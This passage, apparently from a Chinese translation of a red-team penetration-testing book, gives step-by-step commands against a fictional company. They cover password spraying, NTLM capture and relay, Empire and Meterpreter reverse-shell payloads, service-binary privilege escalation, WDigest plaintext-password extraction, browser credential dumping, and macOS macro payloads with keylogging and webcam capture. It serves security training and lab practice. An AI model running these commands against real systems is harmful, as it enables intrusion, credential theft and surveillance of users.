ClientId=VCSJKT0FKWJDYJZIXQ; PrivateComputer=true; PBack=0 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 131 destination=https%3A%2F%2Fcyberspacekittens.com%2Fowa%2F&flags=4&forcedownlevel=0 译者注:最后一个 destination 字段的内容本书的英文版本貌似显示不全,至少是我拿到的英文版本 PDF 显示不全。我只是简单的复制自 PDF,读者注意一下。 如前所述,spray.sh 的另一个好处是它还支持 SMB 和 Lync。另一种具备这个特性的工具称为 Ruler,这个工具还可以对密码喷洒攻击得到的结果进行进一步处理。Ruler 是 Sensepost 安全团队编写的一个工具,它允许你通过 MAPI/HTTP 或 RPC/HTTP 协议与 Exchange 服务器交互。虽然我们主要讨论使用 Ruler 来进行密码破解/信息收集,但是这个工具也支持一些持久性漏洞利用攻击,我们将略微提及这点。 我们可以用的 Ruler 的第一个功能类似于 Spray,它通过对用户名和密码进行匹配来进行账号的破解。Ruler 将载入用户名列表和密码,并尝试查找登陆凭证。它将自动寻找 Exchange 服务器的关键配置并尝试查找登陆凭证。 运行 Ruler: ruler --domain cyberspacekittens.com brute --users ./users.txt --passwords ./passwords.txt 一旦我们找到了一个密码,我们就可以使用 Ruler 来获取 Office 365的全局地址列表(GAL)中的所有用户,以查找更多的电子邮件地址及其所属的电子邮件组。 我们继续将获取的这些电子邮件地址通过上面提及的那些密码破解工具来进行破解的尝试,从而获得更多的身份凭证——这就和滚雪球一样。不过,Ruler 的主要用途是,一旦你有了身份凭证,你就可以利用 Office/Outlook 的一些功能来在受害者的电子邮件帐户上创建规则和表单。这里有一篇来自 SensePost 安全团队的文章 outlook-forms-shells,介绍了他们是怎样利用这些功能来执行包含 Empire payload 的宏文件的。 如果你决定不使用 Outlook 表单,或者该功能已经被禁用,我们的思路还可以回到对电子邮件的攻击。这可能会让你感到有点邪恶,因为你将使用这些普通用户的账号登录并阅读他们的所有电子邮件。当我们兴奋的阅读某个用户的电子邮件时,我们会想要和某个他似乎有点信任(但又不算好朋友)的人进行对话。既然已经有了信任的基础,我们就可以利用这个机会给他发送恶意软件。通常,我们会篡改一次会话,在里面夹带附件(如 Office 文件/可执行文件),然后重新发给他们,不过这次附件包含了我们的恶意 payload。在受信任的内网连接和电子邮件之中传递恶意软件,成功掩护了我们的身份,并使这次行动获得成功。 本书始终强调的一点是,整个攻击行动的目的是为了测试蓝队的威胁检测工具和应急响应流程的效率。我们行动的目标非常明确,就是观察他们是否能够有所警觉。又或者像法医解剖那样,仔细复盘行动中发生的一切。对于本节的实验设计,我的想法是验证公司是否能够确定有人正在窃取用户们的电子邮件。所以,我们要做的是使用 Python 脚本来获取所有被破坏的电子邮件。在许多情况下,这可能是千兆字节的数据! 高级选修实验 一个很好的练习是:攻击不同类型的的身份验证服务并对其进行密码尝试。尝试构建一个密码喷洒(Password Spraying)工具,用于测试针对 XMPP 服务、常见第三方 SaaS 工具和其他常见协议的身份验证。最好是在多个 VPS 服务器中执行此操作,所有 VPS 服务器都由一个主服务器控制。 通过网络移动 作为一名红队成员,我们希望尽可能安静地在网络中穿梭。我们希望使用“特征”来查找和利用有关网络、用户、服务等信息。通常,在红队活动中,我们不希望在内网环境中进行任何漏洞扫描相关的活动。有时我们甚至不希望对内部网络运行 nmap 扫描。这是因为许多公司已经非常擅长检测这些类型的扫描,特别是在运行漏洞扫描器这样动静很大的东西时。 在本节中,你将集中精力在不触发任何检测防护的情况下在 CSK 的网络进行横向漫游。我们假设你已经以某种方式进入内部网络并开始寻找你的第一组凭证,或者已经拥有了一个用户机器上的 shell。 建立环境——实验网络 这部分完全是自定义的,但由于微软的授权限制,这本书里没法给你已经制作好的的基于 Windows 的实验环境部署环境。所以至于怎么做,就得看你的动手能力了! 真正学会如何攻击目标环境的唯一方法是自己亲手构建一下目标环境。这能使你更清楚地了解你正在攻击什么,为什么攻击有时候有效,有时候无效,并了解某些特定工具或流程的局限性。那么你需要建立什么样的实验环境呢?基于客户端的环境,Windows 和 Linux(甚至 Mac)可能都需要一个。如果你正在攻击企业网络,你可能需要构建一个完整的 Active Directory 网络(域环境)。在下面的实验中,我们将学习如何为本书中的所有例子构建一个测试环境。 一个理想的 Windows 测试实验环境,你可以自己创建,大概是下面这样的: 域控制器-服务器:[Windows 2016域控制器] Web服务器:[IIS on Windows 2016] 客户端机器:[Windows 10]x3和 [Windows 7]x2 全部运行着 VMWare 的工作站中,工作站的内存至少16GB,SSD 硬盘500GB 配置和创建域控制器: 微软关于构建2016版服务器的说明: https://blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in-windows-server-2016/ 短地址:http://bit.ly/2JN8E19 安装和配置 Active Directory 之后,使用:dsac.exe 创建用户和组 创建多个用户 创建组并分配给用户(下面是分组): Space Helpdesk Lab 设置客户端机器(Windows 7/10)加入域: 将所有机器都打好系统补丁 将机器连接到域 https://helpdeskgeek.com/how-to/windows-join-domain/ 确保添加一个域用户,该用户能够作为本地管理员在每个系统上运行。这可以通过将该域用户添加到本地机器上的本地 administrators 组来实现。 在每个主机上启用本地管理员并设置密码 将 GPO(组策略)设置为: 禁用防火墙 ( https://www.youtube.com/watch?v=vxXLJSbx1SI ) 禁用 AV( http://bit.ly/2EL0uTd ) 禁用系统自动更新 将 Helpdesk 用户组添加到本地管理员组 仅允许域管理员、本地管理员、Helpdesk 登录( http://bit.ly/2qyJs5D ) 最后,将 GPO 设置同步到主域 将每个操作系统的所有用户设置为自动登录(这会使得攻击测试更加容易)。每次机器启动或重新启动时,它都会自动登录,这样我们就可以轻松地进行攻击并从内存中提取凭证: https://support.microsoft.com/en-us/help/324737/how-to-turn-on-automatic-logon-in-windows 短地址:http://bit.ly/2EKatIk 设置 IIS 服务器并配置 SPN: https://www.rootusers.com/how-to-install-iis-in-windows-server-2016/ 短地址:http://bit.ly/2JJQvRK https://support.microsoft.com/en-us/help/929650/how-to-use-spns-when-you-configure-web-applications-that-are-hosted-on 短地址:http://bit.ly/2IXZygL 在内网中没有凭据 假设你无法通过探测外部服务获得任何密码,因此决定潜入大楼内部。你等到午饭后,潜入 Cyber Space Kittens 的办公室,找到吸烟室。即使你不抽烟,但你也知道抽烟的人有结伙心理。你点上一支烟,但是可以不和他们说话,但当他们走进他们的大楼时,你就可以跟着他们一起进去,轻松极了! 既然你已经闯入了 CSK 的内部环境,你可不想在那里呆太久被抓住。你拿出你非常信任的 drop box,找到一间空办公室,把它插上网络,检查你的手机,看看它是否正确传回了 beacon 到了你的家中,确认之后迅速逃回安全的地方。 当你汗流浃背地回到家时候,迅速地找到你的笔记本电脑,登陆你的 VPN 服务器,当你看到那个 beacon 还在连接家里的时候,你就可以松一口气了。现在你可以现在用 SSH 连接 beacon,可以慢慢地去拓展受感染主机的内部网络,在多个主机之间移动,并尝试拿到你所关心的数据。 Responder 就像在上一个活动中一样,我们使用 Responder 在网络上侦听并伪造请求以获得网络上的凭据。回顾一下上本书,当网络上的系统执行查找 DNS 主机名失败时,受害者系统就会使用 Link-Local Multicast Name Resolution(简称 LLMNR)和 Net-BIOS Name Service(NBT-NS)进行回退 DNS 名称解析。当受害者的电脑无法进行 DNS 查找时,他就会开始询问网络上的任何人是否知道该主机名的解析方法。 一个简单而通用的例子:假设你电脑里有一个固定的共享硬盘驱动器目录,为:\cyberspacekittenssecretdrive\secrets。有一天,IT 部门从网络中删除了共享驱动器,它就不存在了。但由于名为 cyberspacekittenssecretdrive 的服务器仍然有一个挂载的驱动器,因此系统将不断询问网络是否有人知道此驱动器并回应它的 IP。虽然现在这种文件共享示例可能很少见,但是,由于以前连接的系统很可能不再存在于网络上,所以这个问题仍然会发生。我们已经从已挂载的驱动器、具有硬编码服务器的应用程序以及许多次的错误配置中看到了这一点。 我们可以使用像 Responder 这样的工具来利用那些寻找有主机名的系统,并使用我们的攻击服务器对其进行响应。更好的是,Responder 可以更进一步,充当 WPAD(Web Proxy Auto-Discovery Protocol,Web 代理自动发现协议)服务器,通过我们的攻击者服务器代理所有数据,但这是另一种攻击了。 cd /opt/Responder ./Responder.py -I eth0 –wrf 现在,因为我们处于 Windows 的企业环境中,我们可以假设它很可能正在运行 Active Directory(活动目录)。因此,如果我们能够响应来自受害者主机的 DNS 查找请求,我们就可以使他们的系统连接到我们的 SMB 共享服务。由于它们正在连接到 \cyberspacekittenssecretdrive 驱动器,因此我们将强制受害者使用他的 NTLMv2 凭证(或缓存的凭证)进行身份验证。我们捕获的这些凭证不是直接的 NTLM 哈希,而是 NTLM 请求/响应哈希(NTLMv2-SSP)。这些哈希表的唯一缺点是,破解它们的速度要比普通的 NTLM 哈希表要慢得多,但是相比于我们要进行的大型凭证爆破动作来说,这不是一个大麻烦。 我们可以获取 NTLMv2哈希,将其传递给本地的 hashcat 程序破解此密码。在 hashcat 中,我们需要指定散列格式 “-m”( https://hashcat.net/wiki/doku.php?id=example_hashes )为 Net-NTLMv2 。 hashcat -m 5600 hashes\ntlmssp_hashes.txt passwordlists/* 现在,假设我们并不是真的想破解哈希,或者我们不介意提醒用户有一些值得可疑的地方。我们所能做的是强制一个基本身份验证弹出窗口,而不是采用 -F(ForceWpadAuth)和 -b(basic auth)的要求使用 Net-NTLMv2凭据。 python ./Responder.py -I eth0 -wfFbv 从上面的图像中可以看到,用户将被提示输入用户名和密码,大多数人只是按部就班的按提示输入。一旦他们提交了他们的用户名和密码,我们将能够捕获他们的密码明文! 更好的 Responder(MultiRelay.py) 使用 Responder 和破解 NTLMv2-SSP 哈希的问题是,破解这些哈希所需的时间可能很长。更糟糕的是,我们所处的环境中的管理员的密码可能是20多个的字符。那么,在这些情况下我们能做什么呢?如果所处环境不强制执行 SMB 签名( 我们可以通过快速的 nmap 脚本扫描找到 - https://nmap.org/nsedoc/scripts/smb-security-mode.html ),我们可以使用一个巧妙的小技巧来重新播放捕获的 SMB 请求。 Laurent Gaffie 在 Responder 中加入了一个处理身份验证重放攻击的工具。根据 Laurent 的网站描述,MultiRelay 是一个强大的渗透测试实用程序,包含在响应程序工具的文件夹中,使你能够在选定的目标上执行目标 NTLMv1 和 NTLMv2 中继器。目前已经实现多中继将 HTTP、WebDav、代理和 SMB 身份验证传递给 SMB 服务器。这个工具可以定制为接受一系列用户账户信息来中继到一个目标。这背后的概念是只针对域管理员、本地管理员或特权帐户。”[http://g-laurent.blogspot.com/2016/10/introducing-responder-multiray-10.html] 从较高的层面来看,MultiRelay 不会强制受害者对我们的 SMB 共享进行身份验证,而是将任何含有身份验证的请求转发给我们选择的受害者主机。当然,中继用户需要有另一台机器的访问权限;如果攻击成功,我们不需要处理任何密码和哈希破解。首先,我们需要配置我们的 Responder 和 MultiRelay: 编辑 Responder 配置文件以禁用 SMB 和 HTTP 服务器 编辑 Responder.conf 将 SMB 和 HTTP 更改为 Off 开始 Responder python ./Responder.py -I eth0 -rv 在一个新的终端窗口中启动多中继 /opt/Responder/tools ./MultiRelay.py -t -c -u ALL 一旦可以实现通过中继连接到受害者主机,我们就需要考虑要在受害者的主机上执行什么操作。默认情况下,MultiRelay 可以生成一个比较基础的 shell,但我们也可以自动执行 Meterpreter PowerShell payloads、Empire PowerShell payloads、dnscat2 PowerShell payloads、PowerShell 脚本(用于下载和执行 C2代理)、Mimikatz,或者只是运行 calc.exe 作为测试娱乐。 参考文献 http://threat.tevora.com/quick-tip-skip-cracking-responder-hashes-and-replay-them/ PowerShell Responder 一旦我们攻击进了 Windows 系统,我们就可以在受害者机器上使用 PowerShell 进行 Responder 攻击。原始 Responder 的两个功能都可以通过以下两个工具执行: Inveigh - https://github.com/Kevin-Robertson/Inveigh/blob/master/Inveigh.ps1 Inveigh-Relay 更简单的是,这一切都已经集成在 Empire 中了。 没有凭据的用户枚举 一旦进入了内网中,我们可以使用 Responder 来获得凭证或 shell,但有时也会发现同时启用 SMB 签名和破解 NTLMv2 SSP 是没有实质进展的。那就是我们退一步,从更基础的开始。在不主动扫描网络的情况下,我们需要获得一个用户列表(可能是用于密码爆破,甚至是内网钓鱼)。 一种选择是开始针对域控制器枚举用户。如果是早些时候(回到2003年),我们可以尝试执行 RID 循环来获得所有用户帐户的列表。虽然现在不可用了,但爆破帐户还有其他选择。一种选择就是利用 Kerberos: nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=“cyberspacekittens.local”,userdb=/opt/userlist.txt 我们将需要提供一个要测试的用户名列表,但是由于我们只是查询 DC(域控制器)而没有对其进行身份验证,因此通常此行动不会被检测。现在,我们可以采用这些用户帐户,并再次开始密码猜解! 使用 CrackMapExec(CME)扫描网络 如果我们还没有成功入侵进一个系统,但是我们确实通过 Responder、错误配置的 Web 应用程序、暴力破解或通过打印机获得了登录凭证,那么我们可以尝试扫描网络,看看这个帐户可以登录到哪里。使用像 CrackMapExec(CME)这样的工具进行简单的扫描可以帮助找到内部网络上的初始入口点。 过去,我们使用 CME 扫描网络、通过网络上的 SMB 进行标识/身份验证、对许多主机远程执行命令,甚至通过 Mimikatz 提取明文凭证。Empire 和 CME 都拥有了一些新特性,我们可以利用 Empire 的 REST 特性。在下面的场景中,我们将使用其 REST API 启动 Empire,在 CME 中配置密码,让 CME 连接到 Empire,使用我们拥有的单一凭证扫描网络,最后,如果成功完成身份验证,则自动将 Empire 的 payload 推送到远程受害者的系统。如果你有一个 helpdesk 或高权限帐户,那就准备好加载 Empire shell 吧! 启动 Empire 的 REST API 服务器 cd /opt/Empire ./empire --rest --password ‘hacktheuniverse’ 更改 CrackMapExec 密码 打开 /root/.cme/cme.conf password=hacktheuniverse 运行 CME 来生成 Empire shells cme smb 10.100.100.0/24 -d ‘cyberspacekittens.local’ -u ‘’ -p ‘’ -M empire_exec -o LISTENER=http 在攻陷你的第一台机器之后 当你通过社会工程、drop box、Responder、攻击打印机或通过其他攻击获得对主机的访问权限后,下一步要做什么?这是一个非常重要的问题。 在过去,你需要做的一切,是了解你身在何处和周边的网络环境。我们可能首先运行类似于“netstat -ano”的命令来查找受害者的服务器、域和用户的 IP 范围的位置。我们还可以运行命令,如 ps 或 sc queryex type= service state= all | find “_NAME” 列出所有正在运行的服务,并寻找杀毒软件或其他主机基础保护。下面是一些我们最初可能运行的其他示例命令: 网络信息: netstat -anop | findstr LISTEN net group “Domain Admins” /domain 流程列表: tasklist /v 系统主机信息: sysinfo Get-WmiObject -class win32 operatingsystem | select -property * | exportcsv c:\temp\os.txt wmic qfe get Caption,Description,HotFixID,InstalledOn 简单的文件搜索: dir /s password findstr /s /n /i /p foo * findstr /si pass *.txt | *.xml | *.ini 来自共享/挂载驱动器的信息: powershell -Command “get-WmiObject -class Win32_Share” powershell -Command “get-PSDrive” powershell -Command “Get-WmiObject -Class Win32_MappedLogicalDisk | select Name, ProviderName” 让我们现实一点,没有人有时间记住所有的命令,但是我们很幸运!我相信,我相信我们可以在一个名为 RTFM.py 的工具中轻松搜索到这些命令,这是 @leostat 基于 RTFM 书籍(很棒的资源)创建的一个快速查询的 Python 脚本,其中包含大量这些方便的命令。 更新并运行 RTFM cd /opt/rtfm chmod +x rtfm.py ./rtfm.py -u ./rtfm.py -c ‘rtfm’ 搜索所有标签 ./rtfm.py -Dt 查看每个标记的所有查询/命令。我喜欢用的一个是枚举类 ./rtfm.py -t enumeration | more 现在,RTFM 非常广泛,有许多不同的有用命令。这是一个不断快速更新的优秀的资源。 这些都是我们为了获取信息而一直在做的事情,但是如果我们能从环境中获得更多呢?使用 PowerShell,我们可以获得所需的网络和环境信息。任何支持 C2 的工具都能轻松执行 PowerShell ,因此可以使用 Empire、Metasploit 或 Cobalt Strike 来执行这些操作。在下面的例子中,我们将使用 Empire ,你也可以尝试其他工具。 权限提升 从普通用户到高权限帐户有很多不同的方式。 未被引用服务路径: 这是一个相当简单和常见的漏洞,其中服务可执行路径没有被引号括起来。这是很容易被利用的,因为如果路径周围没有引号,我们就会利用当前服务。假设我们有一个服务被配置为执行 C:\Program Files (x86)\Cyber Kittens\Cyber Kittens.exe。如果我们有 CK 文件夹的写入权限,我们可以将其替换为 C:\Program Files (x86)\Cyber Kittens\Cyber.exe(注意,原名称中的 Kittens.exe 消失了)的恶意软件。如果服务在系统上运行,我们可以等到服务重新启动,并让我们的恶意软件作为一个 system 帐户运行。 如何找到易受攻击的服务路径: 通过 wmic 服务获取名称、注意 displayname、pathname、startmode |findstr /i "Auto" |findstr /i /v "C:\Windows" | findstr /i /v """ 寻找 BINARY_PATH_NAME 查找服务中存在的不安全的注册表权限: 识别允许更新服务映像路径位置的弱权限账户 检查 AlwaysInstallElevated 注册表项是否已启用: 检查 AlwaysInstallElevated 注册表项,该注册表项指示.msi 文件应以较高的权限 ( NT AUTHORITY\SYSTEM ) 安装 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/always_install_elevated.rb 请注意,我们并不需要手动完成这些操作,因为别人已经创建了一些好的 metasploit 和 PowerShell 模块,特别是针对 Windows 的模块。在下面的示例中,我们将查看 PowerUp PowerShell 脚本。在这种情况下,脚本与 Empire 一起在所有常见的错误配置区域运行查找,比如允许普通用户获得本地管理或系统帐户。在下面的示例中,我们在受害者系统上运行这个程序,发现它有一些本地系统的未引用服务路径。现在,我们可能无法重新启动服务,但我们应该能够利用这个漏洞,等待服务重启。 Empire PowerUp 模块: usermodule privesc/powerup/allchecks 最突出的是: ServiceName: WavesSysSvc Path: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe ModifiableFile: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe ModifiableFilePermissions: {WriteOwner, Delete, WriteAttributes, Synchronize…} ModifiableFileIdentityReference: Everyone StartName: LocalSystem 看起来任何人都可以编写 WavesSysSyc 服务。这意味着我们可以将 WaveSysSvc64.exe 文件替换为我们自己的恶意二进制文件: 创建一个 Meterpreter 二进制文件(后续的文章将讨论如何绕过杀毒软件) msfvenom -p windows/meterpreter/reverse_https LHOST=[ip] LPORT=8080 -f exe > shell.exe 使用 Empire 上传二进制文件并替换原始二进制文件 upload ./shell.exe C:\users\test\shell.exe shell copy C:\users\test\Desktop\shell.exe “C:\ProgramFiles\Waves\MaxxAudio\WavesSysSvc64.exe” 重新启动服务或等待其重启 一旦服务重新启动,你你应该会收到一个升级为 system 权限的 Meterpreter shell 。使用 PowerUp powershell 脚本,你将发现许多不同的服务都会有权限提升的可能性。如果你想深入了解 Windows 权限提升的底层问题,请查看 FuzzSecurity 的文章:http://www.fuzzysecurity.com/tutorials/16.html 。 对于未打补丁的 Windows 系统,我们确实有一些权限升级攻击,比如:( https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 )和 ( https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135 ),但是我们如何快速识别目标系统上安装了哪些补丁呢,我们可以在受害者系统上使用系统默认自带的命令来查看安装了哪些系统补丁包。Windows 自带默认命令systeminfo 将提取任何给定的 Windows 主机的所有补丁安装历史记录。我们可以拿回这个输出结果,将其复制到我们的 Kali 系统并运行 Windows Exploit Suggester 以查找已知的漏洞然后针对性的进行漏洞利用从而提升权限。 回到你攻击的 Windows 10系统: systeminfo systeminfo > windows.txt 将 windows.txt 复制到你的 Kali 虚拟机的 /opt/Windows-Exploit-Suggester 下 python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls 这个工具已经有一段时间没有被维护了,但是你还是可以轻松地从中寻找到你正需要的能权限提升的漏洞。 如果我们处在一个已经打好所有补丁的 Windows 主机环境中,我们将重点关注第三方软件中的不同权限提升漏洞或操作系统的任何 0day 漏洞。例如,我们一直在寻找下面这样的漏洞 http://bit.ly/2HnX5id ,这是 Windows 中的权限升级漏洞,现在还没有修补。通常在这些场景中,可能会有一些基本的 POC 代码,但是我们需要测试、验证并多次复现这个漏洞。我们经常监控某些领域存在公共特权升级的漏洞: http://insecure.org/search.html?q=privilege%20escalation https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=escalation&colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&cells=ids 通常,这只是时间问题。例如,当发现漏洞时,这可能是你在系统打好补丁之前进一步破坏系统有限的好机会。 权限提升实验 测试并尝试不同类型的权限升级漏洞的最佳实验环境是 Rapid7的 Metasploitable3。这个充满漏洞的框架会自动生成一个 Windows 虚拟机,其中包含所有常见的和不常见的漏洞。配置需要一点时间,但是一旦配置好了虚拟机,它就是一个非常棒的实验环境。 让我们来看一个简单的例子,然后快速开始: 使用 nmap 扫描 Metasploitable3 虚拟机的IP ( 确保全端口扫描免得你错过一些端口 ) 你将看到 ManageEngine 在端口8383上运行 启动 Metasploit 并搜索任何 ManageEngine 有关的漏洞 msfconsole search manageengine use exploit/windows/http/manageengine_connectionid_write set SSL True set RPORT 8383 set RHOST < Your IP> exploit getsystem 你会注意到你不能获得 system 权限,因为你所利用的服务未作为特权进程运行。这时,你能做到的就是尝试所有不同的权限提升攻击。 其中,我们看到的一件事是,Apache Tomcat 是作为特权进程运行的。如果我们可以利用这个服务,我们就可以将我们的 payload 作为更高层次的服务运行。我们看到 Apache Tomcat 在外部网络的8282端口运行,但它需要用户名和密码。因为我们有一个本地低权限的 shell,我们可以尝试在磁盘上搜索这个密码。我们可以在谷歌搜索“Tomcat密码存储在哪里”,搜索结果表明:“tomcat-users.xml”。 在受害者机器中,我们可以搜索和读取 tomcat-users.xml 文件: shell cd \ && dir /s tomcat-users.xml type “C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf\tomcat-users.xml 现在让我们使用找到的密码攻击 Tomcat。首先,登录到8282端口上的 Tomcat 管理控制台,并查看我们的密码是否有效。然后,我们可以使用 Metasploit 通过 Tomcat 部署恶意的 WAR 文件。 search tomcat use exploit/multi/http/tomcat_mgr_upload show options set HTTPusername sploit set HTTPpassword sploit set RPORT 8282 set RHOST < Metasploitable3_IP> set Payload java/shell_reverse_tcp set LHOST < Your IP> exploit whoami 你现在应该是 system 权限了。我们利用第三方的工具(tomcat)来提升权限到 system 权限。 从内存中提取明文凭据 Mimikatz 自推出以来,就改变了在渗透入侵中获取明文密码的方式。在 Windows 10之前,以本地管理员的身份在主机系统上运行 Mimikatz 的话是允许攻击者从 lsass(本地安全机构子系统服务)中提取明文密码的。这种方法在 Windows 10 出现之前非常有效,而在 windows 10 中,即使你是本地管理员,也无法直接读取它。现在,我看到了一些奇怪的现象,其中单点登录( SSO )或者一些特殊的软件会把密码保存在 LSASS 进程中让 Mimikatz 读取,但是我们现在先忽略这个。在这一章中,我们将讨论当这件方法(指 SSO 和特殊的软件)不工作时该做什么(比如在 Windows 10系统中)。 假设你攻击了 Windows 10系统的主机并且提升权限了,默认情况下,你将调整 Mimikatz 的配置,并根据下面的查询查看到密码字段为空。 那么你能做什么呢?最简单的选项是设置注册表项以让系统将密码凭证保存到 LSASS 进程。在 HKLM 中,有一个 UseLogonCredential 设置,如果设置为0,系统将在内存中存储凭据( http://bit.ly/2vhFBiZ ): reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 在 Empire 中,我们可以通过 shell 命令运行: shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 这个注册表修改的问题就是需要用户重新登录到系统。你可以让目标机器屏幕锁屏、重新启动或注销用户,以便你能够捕获然后再次发送凭证文本。最简单的方法是锁定他们的工作机器(这样他们就不会丢失他们的当前的工作...看看我有多好!)。要触发锁屏: rundll32.exe user32.dll,LockWorkStation 一旦我们锁定屏幕,并让它们重新登录,我们就可以重新运行 Mimikatz 来获得明文密码。 如果我们无法提升到本地管理帐户怎么办?我们还有哪些其他方法可以获得用户的凭证?在过去,一个常见的渗透攻击是在客户机的用户空间内存中查看凭据是否以明文形式存储。现在一切都是基于浏览器的,我们能在浏览器中做同样的事情吗? 在这里,putterpanda 将和一个很酷的 POC 工具在一起来完成这个任务,称为 Mimikittenz。Mimikittenz 所做的就是利用 Windows 函数 ReadProcessMemory()来提取来自各种目标进程(如浏览器)的密码,并输出纯文本。 Mimikitten 支持 Gmail,Office365,Outlook Web,Jira,Github,Bugzilla,Zendesk,Cpanel,Dropbox,Microsoft OneDrive,AWS Web 服务、Slack、Twitter 和 Facebook。编写 Mimimikittenz 搜索表达式也很容易。 这个工具最好的地方在于它不需要本地管理员权限,因为他只需要访问那些用户本身创建的进程。一旦我们攻击进了主机,我们将把 Mimimikittenz 导入内存,并运行 Invoke-mimikittenz 脚本。 正如上面所看到的,用户通过 Firefox 登录到 Github 中,我们可以从浏览器内存中提取他们的用户名和密码。现在,我希望这本书的读者都能把这个工具用的越来越高级,为不同的应用程序创建更多的搜索查询。 从 Windows 凭据管理器和浏览器获取密码 Windows 凭据管理器是 Windows 的默认功能,用于保存系统、网站和服务器的用户名、密码和证书。记不记得当你使用 Microsoft IE/EDGE 对网站进行身份验证后,通常会弹出一个弹出窗口,询问“是否要保存密码?”凭证存储就是存储这些信息的地方,在凭据管理器中,有两种类型的凭据:Web 和 Windows。你还记得哪个用户有权访问这些数据吗?它不是 system,而是登录后可以检索此信息的用户。这对我们来说是很好的,就像任何钓鱼网站或代码执行一样,我们通常都可以用别的方法获得那个用户的权限。最好的一点是,我们甚至不需要成为本地管理员来提取这些数据。 如何提取这些信息呢?我们可以使用两种不同的 PowerShell 脚本导入以收集此数据: 收集网络凭据: https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1 收集 Windows 凭证(只收集通用的而不是目标域特有的): https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1 从上图中可以看到,我们提取了他们的 Facebook 存储的凭证和任何他们拥有通用的凭证。记住,对于 Web 凭据,Get-WebCredentials 只能从 Internet Explorer/Edge 获取密码。如果我们需要从 Chrome 获取,我们可以使用 Empire payload 的 powershell/collection/ChromeDump。在获取之前,要运行 ChromeDump 的话,首先需要终止 Chrome 进程,然后运行 ChromeDump,最后,我喜欢拉取下载所有的浏览器历史和 cookies。 我们不仅可以了解他们的内部服务器的大量信息,而且,如果他们的会话仍然存在,我们也可以使用他们的 cookies 和身份验证,而不必知道他们的密码! 使用如下 PowerShell 脚本:https://github.com/sekirkity/browsergather ,我们可以提取所有浏览器 cookies,并通过我们的浏览器利用这些 cookies,但是所有这些 cookies 都没有提升权限的功能。 接下来,我们甚至可以开始在受害者系统上可能安装的所有第三方软件中寻找服务器和凭证。一个叫做 SessionGopher 的工具可以从 winscp、putty、superputty、filezilla 和 microsoft 远程桌面获取主机名和保存密码。还有一个其他功能是能够从网络上的其他系统远程获取它的本地凭据,启动 sessiongopher 的最简单方法是导入 PowerShell 脚本并执行使用: Load PowerShell File: . .\SessionGopher.ps1 Execute SessionGopher Invoke-SessionGopher -Thorough 我们可以通过以下几种方式从主机系统获取凭证,而无需提升权限、绕过 UAC 或使用键盘记录器。因为我们是在用户的系统会话中,所以我们可以访问主机上的许多资源,以帮助我们继续攻击。 从 OSX 获取本地凭证和信息 本书内的大部分横向运动集中在 Windows 上。这是因为几乎所有中大型环境都使用 Active Directory 来管理其系统和主机。我们每年都能看到越来越多的 Mac 电脑,所以希望本书的内容也稍带提及一下 MAC。一旦进入一个 MAC 主机的内网环境,许多攻击就类似于在 Windows 主机环境中的攻击(即扫描默认凭据、Jenkin 等应用程序攻击,嗅探网络,并通过 SSH 或 VNC 横向移动)。 有多个渗透攻击框架的 payload 支持 Mac,我最喜欢的是使用 Empire。Empire 可以生成多个 payload 来诱骗受害者执行我们的代理,其中包括 Ducky scripts、二进制可执行程序、Office 宏、Safari 启动程序、pkg 安装包等等。例如,我们可以创建一个和 Windows 主机适用的 PowerShell Empire 中的 Office 宏: 打开 Empire 首先,确保你能像我们在本书的开头所做的那样设置你的 Empire 监听器 接下来,我们需要构建一个 OSX 宏的 payload use Stager osx/macro 设置要写入本地文件系统的输出文件 set outfile/tmp/mac.py 生成 Payload 如果你查看生成的 Office 宏,你将看到它只是由 Python 执行的 Base64代码。幸运的是,Python 是 Mac 上的默认应用程序,当执行这个宏时,我们应该得到 agent beacon。 要在 Mac 中创建恶意 Exce l文件,我们可以打开一个新的 Excel 工作表,转到“工具”,查看宏,然后在此工作簿中创建宏,一旦 Microsoft Visual Basic 打开,就删除所有当前代码并将其替换为所有新的宏代码。最后,将其保存为 XLSM 文件。 现在,把你的恶意文件发送给你的目标攻击者,看着 Empire 大展神威。在受害者那边,一旦他们打开 Excel 文件,就会出现这样的情况: 确保创建了一个合理的情形,让他们单击“启用宏”。 一旦你的代理连接回你的 Empire 服务器,接下来的操作和侦察阶段就非常相似了。我们需要: 转储浏览器信息和密码: usemodule collection/osx/browser_dump 启用键盘记录器: usemodule collection/osx/keylogger 让应用程序提示获取密码: usemodule collection/osx/prompt 始终打开电脑摄像头拍照: usemodule collection/osx/webcam 利用 Windows 域环境的本地应用程序进行攻击 同样,在下面的示例中,我们将使用 PowerShell Empire。当然,你还可以使用 Metasploit、Cobalt Strike 等类似的攻击框架进行相同的攻击。只要你有能力将 PowerShell 脚本导入内存,并且能够绕过主机系统的任何防护,用什么其实并不重要。 现在的你已经完全空置了受害者的主机,从他们的工作主机偷走了所有的秘密,还了解一些受害者浏览的网站,并运行了一些类似 netstat 的命令进行侦察工作...那接下来是什么? 对于红队队员来说,真正的问题是找到有关服务器、工作站、用户、服务以及他们的 Active Directory 环境的可靠信息。在许多情况下,由于受到网络警报和被抓获的风险,我们无法运行任何漏洞扫描操作,甚至无法运行 NMAP 扫描。那么,我们如何利用网络和服务的“特性”来查找我们需要的所有信息? Service Principal Names(服务主体名称) 服务主体名称(即 SPN)是 Windows 中的一项功能,它允许客户端能够唯一地标识服务的实例。Kerberos 身份验证使用 SPN 